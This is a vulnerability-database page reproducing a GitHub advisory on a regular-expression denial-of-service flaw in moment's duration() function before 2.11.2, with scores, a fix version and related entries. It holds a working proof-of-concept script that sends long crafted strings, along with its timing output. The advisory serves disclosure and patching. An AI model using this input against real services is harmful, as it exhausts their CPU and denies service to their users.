Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-87vv-r9j6-g5qv

Опубликовано: 24 окт. 2017
Источник: github
Github: Прошло ревью
CVSS3: 6.5

Описание

Regular Expression Denial of Service in moment

Versions of moment prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration().

Proof of concept

var moment = require('moment'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } for (i=20000;i<=10000000;i=i+10000) { console.log("COUNT: " + i); var str = '-' + genstr(i, '1') console.log("LENGTH: " + str.length); var start = process.hrtime(); moment.duration(str) var end = process.hrtime(start); console.log(end); }

Results

$ node moment.js COUNT: 20000 LENGTH: 20002 [ 0, 618931029 ] COUNT: 30001 LENGTH: 30003 [ 1, 401413894 ] COUNT: 40002 LENGTH: 40004 [ 2, 437075303 ] COUNT: 50003 LENGTH: 50005 [ 3, 824664804 ] COUNT: 60004 LENGTH: 60006 [ 5, 651335262 ]

Recommendation

Please update to version 2.11.2 or later.

Пакеты

Наименование

moment

npm
Затронутые версииВерсия исправления

< 2.11.2

2.11.2

EPSS

Процентиль: 88%
0.04049
Низкий

6.5 Medium

CVSS3

Дефекты

CWE-400

Связанные уязвимости

CVSS3: 6.5
ubuntu
около 9 лет назад

The duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string, aka a "regular expression Denial of Service (ReDoS)."

redhat
около 10 лет назад

The duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string, aka a "regular expression Denial of Service (ReDoS)."

CVSS3: 6.5
nvd
около 9 лет назад

The duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string, aka a "regular expression Denial of Service (ReDoS)."

CVSS3: 6.5
debian
около 9 лет назад

The duration function in the moment package before 2.11.2 for Node.js ...

EPSS

Процентиль: 88%
0.04049
Низкий

6.5 Medium

CVSS3

Дефекты

CWE-400